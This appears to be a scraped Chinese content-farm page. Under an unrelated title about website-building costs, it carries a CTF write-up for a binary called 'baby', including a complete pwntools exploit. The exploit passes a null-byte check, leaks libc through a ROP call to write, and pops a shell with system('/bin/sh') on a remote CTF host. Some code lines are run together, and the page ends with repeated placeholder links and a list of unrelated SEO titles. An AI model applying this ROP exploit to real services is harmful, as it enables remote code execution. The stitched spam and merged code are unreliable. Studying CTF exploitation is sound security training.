当前位置: 首页 > wzjs >正文

网站建设预计资金投入做视频特效的网站有哪些

网站建设预计资金投入,做视频特效的网站有哪些,减压轻松网站开发,做网站赚多少钱打开 /dev/urandom 设备文件,读取4个字节到 buf 中。 将 buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2。 最后,将 v2 传递给 sub_80487D0() 函数。 这个函数首先将 a1 转换为字符串 s。 然后从标准输入读…

 

  • 打开 /dev/urandom 设备文件,读取4个字节到 buf 中。

  • buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2

  • 最后,将 v2 传递给 sub_80487D0() 函数。

  • 这个函数首先将 a1 转换为字符串 s

  • 然后从标准输入读取数据到 buf 中,并确保 buf\0 结尾。

  • 比较 bufs 是否相同,如果不同则退出程序。

  • 如果相同,则输出 "Correct" 并返回 buf[7] 的值。

  • 这个函数根据 a1 的值从标准输入读取数据到 buf 中。

步骤1:泄漏 write 函数地址
  • 首先,通过发送特定的 payload 来绕过某种检查(可能是程序中的某种验证逻辑)。

  • 构造 ROP 链调用 write 函数,将 write_got 中的地址(即 write 的实际地址)输出到标准输出。

  • 通过泄漏的 write 地址找到匹配的 libc 版本,并计算出 libc 的基址。

**步骤2:构造 payload 调用 system("/bin/sh")
  • 构造 ROP 链,调用 system("/bin/sh")

  • system 函数的地址放入返回地址。

  • /bin/sh 的地址作为参数传递给 system

from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf=ELF("./baby")
p=remote('node5.buuoj.cn',27634)
# p=process("./pwn")
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")write_plt=elf.plt['write']
write_got=elf.got['write']
main_address=0x08048825
payload2=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_address)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)addr=u32(p.recv(4))#write_addr
libc=LibcSearcher("write",addr)#通过write的地址来找到符合的libc版本
libc_base_addr=addr-libc.dump("write")#libc基址
system_addr=libc_base_addr+libc.dump("system")#system地址
bin_addr=libc_base_addr+libc.dump("str_bin_sh")#/bin/sh地址print(hex(system_addr))  
print(hex(bin_addr))  p.sendline(payload1)
p.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload3)
p.interactive()


文章转载自:

http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://00000000.nyzmm.cn
http://www.dtcms.com/wzjs/620500.html

相关文章:

  • wordpress能否做网站天水市秦州区作风建设年网站
  • 梅河口网站开发做网站需要哪些基本功能
  • 做网站公司宣传语东莞品牌网站建设多少钱
  • 祥云网站推广WordPress网站属于什么网站
  • wampserver做网站门户网站html下载
  • 网站如何做二级域名如何造网站
  • 怎么用ftp修改网站百度云网盘搜索引擎入口
  • 3gcms企业手机网站整站源码asp外贸网站源码怎么建
  • 建设地情网站的作用荆州网站建设推荐
  • 招聘网站制作公司建设网站有哪些好处
  • wordpress 多个站点网络项目个人怎么推广快
  • 汕头网站推广费用品牌网app下载
  • 网站建设原码现在哪个网站可以做外贸
  • 找小网站的关键词wordpress 内外网
  • 怎样设置个人网站免费永久网站空间
  • 怎样在各大网站做有效的宣传网站开发视频百度云
  • iis网站开发教程长沙网站se0推广优化公司
  • 商标设计网站排行南昌天和建设有限公司网站
  • 滴滴优惠券网站怎么做制作网站程序
  • 家居网站建设哪家好plc编程培训机构
  • 如何做企业网站及费用问题网站建设的十点优势
  • 怎么做那些盗号网站怎么在百度做原创视频网站
  • 贸易公司网站模板新建门户网站的建设自查
  • 网站建设 js遂宁北京网站建设
  • 做投资网站wordpress装在xampp
  • 绿色系网站深圳网页设计公司有哪些
  • 山丹做网站的公司网页设计首页多少钱一页
  • 靖州网站建设新沂网站优化
  • 建立网站怎么赚钱精准客户电话号码资源
  • 福州制作网站企业vue做网站前台